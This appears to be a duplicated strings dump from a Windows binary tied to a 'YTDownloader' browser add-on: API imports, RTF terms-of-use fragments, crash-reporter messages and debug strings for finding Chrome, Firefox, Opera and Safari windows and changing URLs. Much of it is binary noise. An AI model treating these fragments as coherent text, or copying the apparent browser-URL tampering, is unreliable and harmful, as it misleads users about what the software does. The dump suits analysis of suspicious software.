OLEACC.dll
OLEACC.dll
COMCTL32.dll
COMCTL32.dll
PSAPI.DLL
PSAPI.DLL
CryptMsgClose
CryptMsgClose
CertGetNameStringW
CertGetNameStringW
CertFreeCertificateContext
CertFreeCertificateContext
CertFindCertificateInStore
CertFindCertificateInStore
CertCloseStore
CertCloseStore
CryptMsgGetParam
CryptMsgGetParam
CRYPT32.dll
CRYPT32.dll
VERSION.dll
VERSION.dll
GetExtendedTcpTable
GetExtendedTcpTable
IPHLPAPI.DLL
IPHLPAPI.DLL
WinHttpGetIEProxyConfigForCurrentUser
WinHttpGetIEProxyConfigForCurrentUser
WINHTTP.dll
WINHTTP.dll
SHFileOperationW
SHFileOperationW
RPCRT4.dll
RPCRT4.dll
HttpSendRequestExW
HttpSendRequestExW
HttpSendRequestW
HttpSendRequestW
HttpAddRequestHeadersW
HttpAddRequestHeadersW
HttpQueryInfoW
HttpQueryInfoW
HttpOpenRequestW
HttpOpenRequestW
HttpEndRequestW
HttpEndRequestW
WININET.dll
WININET.dll
GetCPInfo
GetCPInfo
zcÃ
zcÃ
.?AVChromeBrowserWindow@@
.?AVChromeBrowserWindow@@
.?AVFirefoxBrowserWindow@@
.?AVFirefoxBrowserWindow@@
.?AVOperaBrowserWindow@@
.?AVOperaBrowserWindow@@
.?AVCHttpFileDownload@@
.?AVCHttpFileDownload@@
.?AVCHttpAsync@@
.?AVCHttpAsync@@
.?AVCHttpDownload@@
.?AVCHttpDownload@@
.?AVCHttp@@
.?AVCHttp@@
222222222
222222222
55555.ccc
55555.ccc
22222222
22222222
22222222222
22222222222
2222222222
2222222222
222222222222
222222222222
))aaaaaaaaaaaaa555555.7.??.cccccccAAAAAAAAAAAAA
))aaaaaaaaaaaaa555555.7.??.cccccccAAAAAAAAAAAAA
2222222
2222222
..ccc
..ccc
5.77..Lc7cEEcc7AAATE
5.77..Lc7cEEcc7AAATE
|444|44|4
|444|44|4
||||4|444
||||4|444
MM.LJ
MM.LJ
MMM)MMBMBMBB???BBB??..?....L7.LLLEEEEEATAT
MMM)MMBMBMBB???BBB??..?....L7.LLLEEEEEATAT
CMIC.CF?
CMIC.CF?
@@,,@@,@@@@
@@,,@@,@@@@
**,,,,@,,@@,,
**,,,,@,,@@,,
MMMMMBB???.BB?.7??.7.7LL7.7ELLELL7ETAETTTTT
MMMMMBB???.BB?.7??.7.7LL7.7ELLELL7ETAETTTTT
@@,,@,,,,
@@,,@,,,,
MMBB???B?.......777.?.LLLLLLLETT
MMBB???B?.......777.?.LLLLLLLETT
,,@,,,*,,,*
,,@,,,*,,,*
.hsdy>
.hsdy>
,,,,*,,***
,,,,*,,***
,,,@@,**,,,
,,,@@,**,,,
MBMBBBBBB??????.B??.7c.77.LELL7LEEEL7E
MBMBBBBBB??????.B??.7c.77.LELL7LEEEL7E
,,****,*
,,****,*
MBMB??BBB???????...??777..LLEL7LAEEcAAATT
MBMB??BBB???????...??777..LLEL7LAEEcAAATT
,**,,****
,**,,****
B???...7.7.777LLLL7ELAAAAAATAA
B???...7.7.777LLLL7ELAAAAAATAA
BB?.??.....?..LLLELEAAcEAEET
BB?.??.....?..LLLELEAAcEAEET
# #
# #
B??BBMBB???BB....7777L7.LAATTELE
B??BBMBB???BB....7777L7.LAATTELE
111111111
111111111
11111111111
11111111111
BBMB?BB????...777.LLLL7LLAET
BBMB?BB????...777.LLLL7LLAET
BB?.?.BBB???...LL7.77LLEEEEELTTTT
BB?.?.BBB???...LL7.77LLEEEEELTTTT
RRVVw%%X
RRVVw%%X
# #1111
# #1111
BB??..77.7777.777EAEELELET
BB??..77.7777.777EAEELELET
1111111
1111111
11111111
11111111
B??BB??..?..7..7L..LLLL
B??BB??..?..7..7L..LLLL
B??B?.B?......?..7.LL7LL
B??B?.B?......?..7.LL7LL
B??.?......LLL..
B??.?......LLL..
BB.....77.7LLL..LLEE
BB.....77.7LLL..LLEE
MBB??????.7.77.777L
MBB??????.7.77.777L
MMBMMB..????....777.LEEE
MMBMMB..????....777.LEEE
??7.7.LLLL7LETL
??7.7.LLLL7LETL
8888888
8888888
BB.BB?........L77L
BB.BB?........L77L
BMMB?B?....777.7.7.EEL
BMMB?B?....777.7.7.EEL
BBB.?B.77.......ETEE
BBB.?B.77.......ETEE
BB.BB........7LLETTT
BB.BB........7LLETTT
88888888
88888888
B???BB..BB?..7LLLT
B???BB..BB?..7LLLT
BB.??BB..BB..7777L
BB.??BB..BB..7777L
B???????BB.?...LLLL7
B???????BB.?...LLLL7
BMB..BB.7.ELLLL77L
BMB..BB.7.ELLLL77L
BBB??BB.?.LLLL77.
BBB??BB.?.LLLL77.
888888888
888888888
MBB?....B...cLLLLLLT
MBB?....B...cLLLLLLT
___&_&&&
___&_&&&
__&&____&
__&&____&
____&___&&
____&___&&
____&__&_&
____&__&_&
BM?.BBB?....777L
BM?.BBB?....777L
&&____&__&&__&&____
&&____&__&&__&&____
_&_&&_&&
_&_&&_&&
.njm4tyyxwwwwxyytm3k.
.njm4tyyxwwwwxyytm3k.
\mbrkBinSub0\msmallFrac0\mdispDef1\mlMargin0\mrMargin0\mdefJc1\mwrapIndent1440\mintLim0\mnaryLim1}{\info{\author udif}{\operator Edith}{\creatim\yr2013\mo10\dy22\hr16\min58}{\revtim\yr2014\mo8\dy24\hr14\min26}{\version5}{\edmins16}{\nofpages4}
\mbrkBinSub0\msmallFrac0\mdispDef1\mlMargin0\mrMargin0\mdefJc1\mwrapIndent1440\mintLim0\mnaryLim1}{\info{\author udif}{\operator Edith}{\creatim\yr2013\mo10\dy22\hr16\min58}{\revtim\yr2014\mo8\dy24\hr14\min26}{\version5}{\edmins16}{\nofpages4}
{\nofwords2316}{\nofchars13206}{\nofcharsws15492}{\vern57437}}{\*\xmlnstbl {\xmlns1 hXXp://schemas.microsoft.com/office/word/2003/wordml}}\paperw12240\paperh15840\margl1501\margr1502\margt1440\margb1440\gutter0\ltrsect
{\nofwords2316}{\nofchars13206}{\nofcharsws15492}{\vern57437}}{\*\xmlnstbl {\xmlns1 hXXp://schemas.microsoft.com/office/word/2003/wordml}}\paperw12240\paperh15840\margl1501\margr1502\margt1440\margb1440\gutter0\ltrsect
The following license and terms of use (jointly: "Terms of Use") govern your access and use of the YTDownloader.com website ("Site") and your download, install, access and use of the YTDownloader Browser Application and Add-On ("YTDownloader Add-On") and
The following license and terms of use (jointly: "Terms of Use") govern your access and use of the YTDownloader.com website ("Site") and your download, install, access and use of the YTDownloader Browser Application and Add-On ("YTDownloader Add-On") and
ll Site and YTDownloader Add-On contained or displayed information, and any and all available editions, add-ins, tools and documentations, either jointly or separately (collectively and separately known as "YTDownloader"). The Terms of Use are a legally b
ll Site and YTDownloader Add-On contained or displayed information, and any and all available editions, add-ins, tools and documentations, either jointly or separately (collectively and separately known as "YTDownloader"). The Terms of Use are a legally b
ive websites) are each subject to their respective terms and conditions or agreements. Please note that these Terms of Use limit our liability and that we do not provide warranties for YTDownloader or contents. It also limits your remedies.}{\rtlch\fcs1
ive websites) are each subject to their respective terms and conditions or agreements. Please note that these Terms of Use limit our liability and that we do not provide warranties for YTDownloader or contents. It also limits your remedies.}{\rtlch\fcs1
lely for your private and personal purposes and always in accordance with the Terms and Use and the applicable law. Any other use is prohibited. The use of any software or automated system to extract data from YTDownloader.com or the YTDownloader Add-Ons
lely for your private and personal purposes and always in accordance with the Terms and Use and the applicable law. Any other use is prohibited. The use of any software or automated system to extract data from YTDownloader.com or the YTDownloader Add-Ons
is strictly prohibited. You will not disrupt the functioning of the YTDownloader.com or the YTDownloader Add-Ons or otherwise act in a way that interferes with other users\rquote
is strictly prohibited. You will not disrupt the functioning of the YTDownloader.com or the YTDownloader Add-Ons or otherwise act in a way that interferes with other users\rquote
verse assemble, reverse compile, decompile, disassemble, translate or otherwise alter any executable code, contents or materials on or received via YTDownloader without our prior written consent. You also agree to not remove, obscure, or alter any copyrig
verse assemble, reverse compile, decompile, disassemble, translate or otherwise alter any executable code, contents or materials on or received via YTDownloader without our prior written consent. You also agree to not remove, obscure, or alter any copyrig
TDownloader temporarily or permanently, with or without notice to you, and are not obligated to support or update the YTDownloader service. You acknowledge and agree that YTDownloader will not be liable to you or any third party in the event that we exerc
TDownloader temporarily or permanently, with or without notice to you, and are not obligated to support or update the YTDownloader service. You acknowledge and agree that YTDownloader will not be liable to you or any third party in the event that we exerc
\~}{\field{\*\fldinst {\rtlch\fcs1 \af1\afs20 \ltrch\fcs0 \f31507\fs20\insrsid3632102 HYPERLINK "mailto:}{\rtlch\fcs1 \af1\afs20 \ltrch\fcs0 \f31507\fs20\insrsid3632102\charrsid3632102 support@ytdownloader.com}{\rtlch\fcs1 \af1\afs20 \ltrch\fcs0
\~}{\field{\*\fldinst {\rtlch\fcs1 \af1\afs20 \ltrch\fcs0 \f31507\fs20\insrsid3632102 HYPERLINK "mailto:}{\rtlch\fcs1 \af1\afs20 \ltrch\fcs0 \f31507\fs20\insrsid3632102\charrsid3632102 support@ytdownloader.com}{\rtlch\fcs1 \af1\afs20 \ltrch\fcs0
\f31507\fs20\insrsid3632102 " }}{\fldrslt {\rtlch\fcs1 \af1\afs20 \ltrch\fcs0 \cs18\f31507\fs20\ul\cf2\insrsid3632102\charrsid16527760 support@ytdownloader.com}}}\sectd \ltrsect
\f31507\fs20\insrsid3632102 " }}{\fldrslt {\rtlch\fcs1 \af1\afs20 \ltrch\fcs0 \cs18\f31507\fs20\ul\cf2\insrsid3632102\charrsid16527760 support@ytdownloader.com}}}\sectd \ltrsect
the Site are based on our best judgment but are subject to a number of uncertainties as well as events beyond our control. You understand and agree that your access and use of the Site and its contents is entirely at your own discretion and at your own ri
the Site are based on our best judgment but are subject to a number of uncertainties as well as events beyond our control. You understand and agree that your access and use of the Site and its contents is entirely at your own discretion and at your own ri
\par }{\rtlch\fcs1 \af1\afs20 \ltrch\fcs0 \f31507\fs20\cf1\insrsid1449721\charrsid1449721 YTDownloader includes certain marks, graphics, logos, page headers,
\par }{\rtlch\fcs1 \af1\afs20 \ltrch\fcs0 \f31507\fs20\cf1\insrsid1449721\charrsid1449721 YTDownloader includes certain marks, graphics, logos, page headers,
, licensors, suppliers and their respective directors, employees, agents a}{\rtlch\fcs1 \af1\afs20 \ltrch\fcs0 \f31507\fs20\cf1\insrsid3632102 nd shareholders (jointly: the "}{\rtlch\fcs1 \af1\afs20 \ltrch\fcs0
, licensors, suppliers and their respective directors, employees, agents a}{\rtlch\fcs1 \af1\afs20 \ltrch\fcs0 \f31507\fs20\cf1\insrsid3632102 nd shareholders (jointly: the "}{\rtlch\fcs1 \af1\afs20 \ltrch\fcs0
s to accuracy, performance, merchantability, fitness for a particular purpose, and non-infringement. The Goobzo parties, jointly and severally, also disclaim any warranties and liability regarding the accuracy, completeness, security, reliability, timelin
s to accuracy, performance, merchantability, fitness for a particular purpose, and non-infringement. The Goobzo parties, jointly and severally, also disclaim any warranties and liability regarding the accuracy, completeness, security, reliability, timelin
ss, and performance of the YTDownloader, services and contents. Some countries and jurisdictions do not allow the exclusion or disclaimer of certain terms or warranties, so the above exclusions in whole or in part may not apply to you in your country or j
ss, and performance of the YTDownloader, services and contents. Some countries and jurisdictions do not allow the exclusion or disclaimer of certain terms or warranties, so the above exclusions in whole or in part may not apply to you in your country or j
nder applicable law, in no event shall the Goobzo parties be liable for any damage whatsoever including but not limited to any direct, indirect, consequential, special, exemplary, punitive or incidental damages (including but not limited to damages for lo
nder applicable law, in no event shall the Goobzo parties be liable for any damage whatsoever including but not limited to any direct, indirect, consequential, special, exemplary, punitive or incidental damages (including but not limited to damages for lo
s of income or profits, business interruption, loss of business information, loss of goodwill or reputation, and the like) whether such claim is based on warranty, contract, tort (including negligence), or otherwise, and even if the Goobzo parties, jointl
s of income or profits, business interruption, loss of business information, loss of goodwill or reputation, and the like) whether such claim is based on warranty, contract, tort (including negligence), or otherwise, and even if the Goobzo parties, jointl
urisdictions do not allow the exclusion or disclaimer or limitation of liability of certain types of damages, so the above exclusions may not apply to you in your country or jurisdiction and in such case the aggregate liability of the Goobzo parties shall
urisdictions do not allow the exclusion or disclaimer or limitation of liability of certain types of damages, so the above exclusions may not apply to you in your country or jurisdiction and in such case the aggregate liability of the Goobzo parties shall
responsibilities and liabilities are not on a joint and several basis (i.e. each member of the Goobzo parties shall be solely responsible for the damages and losses caused by such member.\line }{\rtlch\fcs1 \af1\afs20 \ltrch\fcs0
responsibilities and liabilities are not on a joint and several basis (i.e. each member of the Goobzo parties shall be solely responsible for the damages and losses caused by such member.\line }{\rtlch\fcs1 \af1\afs20 \ltrch\fcs0
You may create links to this Site from other websites in as much as it is clear that we do not endorse you or your activity, business, products or services and that you and us are not affiliated in any way.\line }{\rtlch\fcs1 \af1\afs20 \ltrch\fcs0
You may create links to this Site from other websites in as much as it is clear that we do not endorse you or your activity, business, products or services and that you and us are not affiliated in any way.\line }{\rtlch\fcs1 \af1\afs20 \ltrch\fcs0
\rtlch\fcs1 \af1\afs20 \ltrch\fcs0 \f31507\fs20\insrsid3632102\charrsid3632102 support@ytdownloader.com}{\rtlch\fcs1 \af1\afs20 \ltrch\fcs0 \f31507\fs20\insrsid3632102 " }}{\fldrslt {\rtlch\fcs1 \af1\afs20 \ltrch\fcs0
\rtlch\fcs1 \af1\afs20 \ltrch\fcs0 \f31507\fs20\insrsid3632102\charrsid3632102 support@ytdownloader.com}{\rtlch\fcs1 \af1\afs20 \ltrch\fcs0 \f31507\fs20\insrsid3632102 " }}{\fldrslt {\rtlch\fcs1 \af1\afs20 \ltrch\fcs0
\cs18\f31507\fs20\ul\cf2\insrsid3632102\charrsid16527760 support@ytdownloader.com}}}\sectd \ltrsect\linex0\headery708\footery708\colsx708\endnhere\sectlinegrid360\sectdefaultcl\sectrsid8879180\sftnbj {\rtlch\fcs1 \af1\afs20 \ltrch\fcs0
\cs18\f31507\fs20\ul\cf2\insrsid3632102\charrsid16527760 support@ytdownloader.com}}}\sectd \ltrsect\linex0\headery708\footery708\colsx708\endnhere\sectlinegrid360\sectdefaultcl\sectrsid8879180\sftnbj {\rtlch\fcs1 \af1\afs20 \ltrch\fcs0
\sbasedon0 \snext17 \sunhideused \styrsid5573618 Normal (Web);}{\*\cs18 \additive \rtlch\fcs1 \af0 \ltrch\fcs0 \sbasedon10 \spriority0 \styrsid5573618 apple-converted-space;}{\*\cs19 \additive \rtlch\fcs1 \af0 \ltrch\fcs0 \ul\cf2
\sbasedon0 \snext17 \sunhideused \styrsid5573618 Normal (Web);}{\*\cs18 \additive \rtlch\fcs1 \af0 \ltrch\fcs0 \sbasedon10 \spriority0 \styrsid5573618 apple-converted-space;}{\*\cs19 \additive \rtlch\fcs1 \af0 \ltrch\fcs0 \ul\cf2
\msmallFrac0\mdispDef1\mlMargin0\mrMargin0\mdefJc1\mwrapIndent1440\mintLim0\mnaryLim1}{\info{\author Edith}{\operator Edith}{\creatim\yr2014\mo3\dy24\hr8\min26}{\revtim\yr2014\mo10\dy27\hr12}{\version22}{\edmins1585}{\nofpages3}{\nofwords2318}
\msmallFrac0\mdispDef1\mlMargin0\mrMargin0\mdefJc1\mwrapIndent1440\mintLim0\mnaryLim1}{\info{\author Edith}{\operator Edith}{\creatim\yr2014\mo3\dy24\hr8\min26}{\revtim\yr2014\mo10\dy27\hr12}{\version22}{\edmins1585}{\nofpages3}{\nofwords2318}
{\nofchars13216}{\nofcharsws15503}{\vern57437}}{\*\xmlnstbl {\xmlns1 hXXp://schemas.microsoft.com/office/word/2003/wordml}}\paperw12240\paperh15840\margl1800\margr1800\margt568\margb1440\gutter0\ltrsect
{\nofchars13216}{\nofcharsws15503}{\vern57437}}{\*\xmlnstbl {\xmlns1 hXXp://schemas.microsoft.com/office/word/2003/wordml}}\paperw12240\paperh15840\margl1800\margr1800\margt568\margb1440\gutter0\ltrsect
\b\f40\fs16\insrsid11944020\charrsid14186020 \line }{\rtlch\fcs1 \af40\afs16 \ltrch\fcs0 \f40\fs16\insrsid11944020\charrsid14186020 1. Acceptance of Terms of Use\line The following license and terms of use (jointly: "Terms of Use") go}{\rtlch\fcs1
\b\f40\fs16\insrsid11944020\charrsid14186020 \line }{\rtlch\fcs1 \af40\afs16 \ltrch\fcs0 \f40\fs16\insrsid11944020\charrsid14186020 1. Acceptance of Terms of Use\line The following license and terms of use (jointly: "Terms of Use") go}{\rtlch\fcs1
website ("Site") and your download, install, access and use of the YTDownloader Browser Application and Add-On ("YTDownloader Add-On") and all Site and YTDownloader Add-On contained or displayed information, and any and all available editions, add-ins, t
website ("Site") and your download, install, access and use of the YTDownloader Browser Application and Add-On ("YTDownloader Add-On") and all Site and YTDownloader Add-On contained or displayed information, and any and all available editions, add-ins, t
ols and documentations, either jointly or separately (collectively and separately known as "YTDownloader"). The Terms of Use are a legally binding agreement between you, ("you", "visitor" and/or "user"), and Goobzo Ltd. and its affiliates and subsidiaries
ols and documentations, either jointly or separately (collectively and separately known as "YTDownloader"). The Terms of Use are a legally binding agreement between you, ("you", "visitor" and/or "user"), and Goobzo Ltd. and its affiliates and subsidiaries
r or parts thereof at our sole discretion and without liability. The products and services described on YTDownloader (and their respective websites) are each subject to their respective terms and conditions or agreements. Please note that these Terms of U
r or parts thereof at our sole discretion and without liability. The products and services described on YTDownloader (and their respective websites) are each subject to their respective terms and conditions or agreements. Please note that these Terms of U
ny other use is prohibited. The use of any software or automated system to extract data from YTDownloader.com or the YTDownloader Add-Ons is strictly prohibited. You will not disrupt the functioning of the YTDownloader.com or the YTDownloader Add-Ons or o
ny other use is prohibited. The use of any software or automated system to extract data from YTDownloader.com or the YTDownloader Add-Ons is strictly prohibited. You will not disrupt the functioning of the YTDownloader.com or the YTDownloader Add-Ons or o
py, modify, adapt, distribute, transmit, translate, display or otherwise exploit YTDownloader and you shall not try to reverse engineer, reverse assemble, reverse compile, decompile, disassemble, translate or otherwise alter any executable code, contents
py, modify, adapt, distribute, transmit, translate, display or otherwise exploit YTDownloader and you shall not try to reverse engineer, reverse assemble, reverse compile, decompile, disassemble, translate or otherwise alter any executable code, contents
ith or through the Site. We reserve all rights not expressly granted in and to the Site. We reserve the right to terminate your access to YTDownloader temporarily or permanently, with or without notice to you, and are not obligated to support or update th
ith or through the Site. We reserve all rights not expressly granted in and to the Site. We reserve the right to terminate your access to YTDownloader temporarily or permanently, with or without notice to you, and are not obligated to support or update th
YTDownloader service. You acknowledge and agree that YTDownloader will not be liable to you or any third party in the event that we exercise our right to modify or terminate access to the YTDownloader service. Unless explicitly stated otherwise, any new
YTDownloader service. You acknowledge and agree that YTDownloader will not be liable to you or any third party in the event that we exercise our right to modify or terminate access to the YTDownloader service. Unless explicitly stated otherwise, any new
support@ytdownloader.com}{\rtlch\fcs1 \af40\afs16 \ltrch\fcs0 \f40\fs16\cf1\insrsid3606027 " }{\rtlch\fcs1 \af40\afs16 \ltrch\fcs0 \f40\fs16\cf1\insrsid3886136 {\*\datafield
support@ytdownloader.com}{\rtlch\fcs1 \af40\afs16 \ltrch\fcs0 \f40\fs16\cf1\insrsid3606027 " }{\rtlch\fcs1 \af40\afs16 \ltrch\fcs0 \f40\fs16\cf1\insrsid3886136 {\*\datafield
0000a5ab0000}}}{\fldrslt {\rtlch\fcs1 \af40\afs16 \ltrch\fcs0 \cs19\f40\fs16\ul\cf2\insrsid3606027\charrsid2648633 support@ytdownloader.com}}}\sectd \ltrsect
0000a5ab0000}}}{\fldrslt {\rtlch\fcs1 \af40\afs16 \ltrch\fcs0 \cs19\f40\fs16\ul\cf2\insrsid3606027\charrsid2648633 support@ytdownloader.com}}}\sectd \ltrsect
looking statements made on the Site are based on our best judgment but are subject to a number of uncertainties as well as events beyond our control. You understand and agree that your access and use of the Site and its contents is entirely at your own di
looking statements made on the Site are based on our best judgment but are subject to a number of uncertainties as well as events beyond our control. You understand and agree that your access and use of the Site and its contents is entirely at your own di
\f40\fs16\cf1\insrsid11944020\charrsid14186020 . Trademarks\line }{\rtlch\fcs1 \af40\afs16 \ltrch\fcs0 \f40\fs16\cf1\insrsid11944020\charrsid425254 YTDownloader includes certain mark
\f40\fs16\cf1\insrsid11944020\charrsid14186020 . Trademarks\line }{\rtlch\fcs1 \af40\afs16 \ltrch\fcs0 \f40\fs16\cf1\insrsid11944020\charrsid425254 YTDownloader includes certain mark
and personal use only with no warranties whatsoever. Goobzo, its affiliates, partners, licensors, suppliers and their respective directors, employees, agents and shareholders (jointly: the " Goobzo parties") do not assume any liability whatsoever and disc
and personal use only with no warranties whatsoever. Goobzo, its affiliates, partners, licensors, suppliers and their respective directors, employees, agents and shareholders (jointly: the " Goobzo parties") do not assume any liability whatsoever and disc
loader and included services and contents, including, without limitation, warranties as to accuracy, performance, merchantability, fitness for a particular purpose, and non-infringement. The Goobzo parties, jointly and severally, also disclaim any warrant
loader and included services and contents, including, without limitation, warranties as to accuracy, performance, merchantability, fitness for a particular purpose, and non-infringement. The Goobzo parties, jointly and severally, also disclaim any warrant
es and liability regarding the accuracy, completeness, security, reliability, timeliness, and performance of the YTDownloader, services and contents. Some countries and jurisdictions do not allow the exclusion or disclaimer of certain terms or warranties,
es and liability regarding the accuracy, completeness, security, reliability, timeliness, and performance of the YTDownloader, services and contents. Some countries and jurisdictions do not allow the exclusion or disclaimer of certain terms or warranties,
, exemplary, punitive or incidental damages (including but not limited to damages for loss of income or profits, business interruption, loss of business information, loss of goodwill or reputation, and the like) whether such claim is based on warranty, co
, exemplary, punitive or incidental damages (including but not limited to damages for loss of income or profits, business interruption, loss of business information, loss of goodwill or reputation, and the like) whether such claim is based on warranty, co
tract, tort (including negligence), or otherwise, and even if the Goobzo parties, jointly or separately, have been advised of the possibility of such damages or loss. Such limitation of liability shall also apply whether the damages arise from use, misuse
tract, tort (including negligence), or otherwise, and even if the Goobzo parties, jointly or separately, have been advised of the possibility of such damages or loss. Such limitation of liability shall also apply whether the damages arise from use, misuse
t of personal injury or death arising from the negligence of Goobzo. Some countries and jurisdictions do not allow the exclusion or disclaimer or limitation of liability of certain types of damages, so the above exclusions may not apply to you in your cou
t of personal injury or death arising from the negligence of Goobzo. Some countries and jurisdictions do not allow the exclusion or disclaimer or limitation of liability of certain types of damages, so the above exclusions may not apply to you in your cou
While these limitations of liability provisions use the Goobzo parties definition, the responsibilities and liabilities are not on a joint and several basis (i.e. each member of the Goobzo parties shall be solely responsible for the damages and losses ca
While these limitations of liability provisions use the Goobzo parties definition, the responsibilities and liabilities are not on a joint and several basis (i.e. each member of the Goobzo parties shall be solely responsible for the damages and losses ca
\par 1}{\rtlch\fcs1 \af40\afs16 \ltrch\fcs0 \f40\fs16\cf1\insrsid11944020 1}{\rtlch\fcs1 \af40\afs16 \ltrch\fcs0 \f40\fs16\cf1\insrsid11944020\charrsid14186020 . Links to this Site\line You may create links to this Site from other websites in a
\par 1}{\rtlch\fcs1 \af40\afs16 \ltrch\fcs0 \f40\fs16\cf1\insrsid11944020 1}{\rtlch\fcs1 \af40\afs16 \ltrch\fcs0 \f40\fs16\cf1\insrsid11944020\charrsid14186020 . Links to this Site\line You may create links to this Site from other websites in a
Failure or delay of Goobzo exercise any right, power or remedy under or to require or enforce strict performance by you of any provision of th
Failure or delay of Goobzo exercise any right, power or remedy under or to require or enforce strict performance by you of any provision of th
\ltrch\fcs0 \f40\fs16\insrsid11944020\charrsid413544 HYPERLINK "mailto:support@YTDownloader.com" }{\rtlch\fcs1 \af40\afs16 \ltrch\fcs0 \f40\fs16\insrsid11944020\charrsid413544 {\*\datafield
\ltrch\fcs0 \f40\fs16\insrsid11944020\charrsid413544 HYPERLINK "mailto:support@YTDownloader.com" }{\rtlch\fcs1 \af40\afs16 \ltrch\fcs0 \f40\fs16\insrsid11944020\charrsid413544 {\*\datafield
0000a5ab00000066000100d9}}}{\fldrslt {\rtlch\fcs1 \af40\afs16 \ltrch\fcs0 \cs19\f40\fs16\ul\cf2\insrsid11944020\charrsid413544 support@YTDownloader.com}}}\sectd \ltrsect
0000a5ab00000066000100d9}}}{\fldrslt {\rtlch\fcs1 \af40\afs16 \ltrch\fcs0 \cs19\f40\fs16\ul\cf2\insrsid11944020\charrsid413544 support@YTDownloader.com}}}\sectd \ltrsect
\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 HTML Top of Form;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 HTML Bottom of Form;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Normal (Web);\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 HTML Acronym;
\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 HTML Top of Form;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 HTML Bottom of Form;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Normal (Web);\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 HTML Acronym;
\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 HTML Keyboard;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 HTML Preformatted;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 HTML Sample;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 HTML Typewriter;
\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 HTML Keyboard;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 HTML Preformatted;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 HTML Sample;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 HTML Typewriter;
7}7K7R7X7n7
7}7K7R7X7n7
9#9,929;9
9#9,929;9
8*80898@8
8*80898@8
4 50598?8
4 50598?8
9%9s9
9%9s9
: :$:(:,:0:4:8:<:>
: :$:(:,:0:4:8:<:>
;0;4;8;
;0;4;8;
? ?$?(?,?0?
? ?$?(?,?0?
: :$:(:,:0:4:8:
: :$:(:,:0:4:8:
9$90989\9
9$90989\9
9 9@9`9|9
9 9@9`9|9
mscoree.dll
mscoree.dll
- floating point support not loaded
- floating point support not loaded
- CRT not initialized
- CRT not initialized
- Attempt to initialize the CRT more than once.
- Attempt to initialize the CRT more than once.
portuguese-brazilian
portuguese-brazilian
USER32.DLL
USER32.DLL
Invalid parameter or key doesn't exist.
Invalid parameter or key doesn't exist.
Floating point (%%e, %%f, %%g, and %%G) is not supported by the WTL::CString class.
Floating point (%%e, %%f, %%g, and %%G) is not supported by the WTL::CString class.
The flag CR_INST_STORE_ZIP_ARCHIVES should be used with CR_INST_DONT_SEND_REPORT flag.
The flag CR_INST_STORE_ZIP_ARCHIVES should be used with CR_INST_DONT_SEND_REPORT flag.
%s %s Error Report
%s %s Error Report
CrashSender.exe is not found in the specified path.
CrashSender.exe is not found in the specified path.
crashrpt_lang.ini
crashrpt_lang.ini
l%s\CrashRpt\UnsentCrashReports\%s_%s
l%s\CrashRpt\UnsentCrashReports\%s_%s
Couldn't create crash report directory.
Couldn't create crash report directory.
Couldn't set C exception handlers for main execution thread.
Couldn't set C exception handlers for main execution thread.
Couldn't launch CrashSender.exe process.
Couldn't launch CrashSender.exe process.
%s-tmp
%s-tmp
Local\CrashRptEvent_%s_2
Local\CrashRptEvent_%s_2
The operation was cancelled by client.
The operation was cancelled by client.
Error launching CrashSender.exe
Error launching CrashSender.exe
%s has stopped working
%s has stopped working
Invalid registry key or invalid destination file is specified.
Invalid registry key or invalid destination file is specified.
HKEY_LOCAL_MACHINE\
HKEY_LOCAL_MACHINE\
HKEY_CURRENT_USER\
HKEY_CURRENT_USER\
Empty subkey is not allowed.
Empty subkey is not allowed.
The registry key coudn't be open.
The registry key coudn't be open.
Local\CrashRptEvent_%s
Local\CrashRptEvent_%s
%s\%s_%s\%s
%s\%s_%s\%s
%u.%u.%u.%u
%u.%u.%u.%u
chrome.exe
chrome.exe
iexplore.exe
iexplore.exe
firefox.exe
firefox.exe
safari.exe
safari.exe
opera.exe
opera.exe
explorer.exe
explorer.exe
chrome
chrome
firefox
firefox
opera
opera
@Google Chrome
@Google Chrome
Chrome_WidgetWin_1
Chrome_WidgetWin_1
chrome://settings-frame/#syi516
chrome://settings-frame/#syi516
ChromeGetUrl::Initialize ReRun
ChromeGetUrl::Initialize ReRun
ChromeGetUrl Done
ChromeGetUrl Done
ChromeGetUrl::BuildChromeHandles found window class name: %s
ChromeGetUrl::BuildChromeHandles found window class name: %s
ChromeGetUrl::BuildChromeHandles HWNDS: %s
ChromeGetUrl::BuildChromeHandles HWNDS: %s
ChromeGetUrl::BuildChromeHandles Could not find Chrome windows, exiting..
ChromeGetUrl::BuildChromeHandles Could not find Chrome windows, exiting..
%d secs
%d secs
Name - %s
Name - %s
Value - %s
Value - %s
https
https
URL: %s changed to: %s
URL: %s changed to: %s
Adding URL:
Adding URL:
Adding URL: %s
Adding URL: %s
@Firefox
@Firefox
FirefoxBrowserWindow Found button window, 0x%x
FirefoxBrowserWindow Found button window, 0x%x
FirefoxBrowserWindow Found browser window, 0x%x
FirefoxBrowserWindow Found browser window, 0x%x
IE9BrowserWindow Found button window, 0x%x
IE9BrowserWindow Found button window, 0x%x
IE9BrowserWindow Found browser window, 0x%x
IE9BrowserWindow Found browser window, 0x%x
@Opera
@Opera
OperaBrowserWindow Found button window, 0x%x
OperaBrowserWindow Found button window, 0x%x
OperaBrowserWindow Found browser window, 0x%x
OperaBrowserWindow Found browser window, 0x%x
SafariBrowserWindow Found button window, 0x%x
SafariBrowserWindow Found button window, 0x%x
SafariBrowserWindow Found browser window, 0x%x
SafariBrowserWindow Found browser window, 0x%x
ESOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy
ESOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy
GetModule failed. Err=%d
GetModule failed. Err=%d
OpenProcess failed. Err=%d
OpenProcess failed. Err=%d
KCertGetNameString failed.
KCertGetNameString failed.
CryptDecodeObject failed with %x
CryptDecodeObject failed with %x
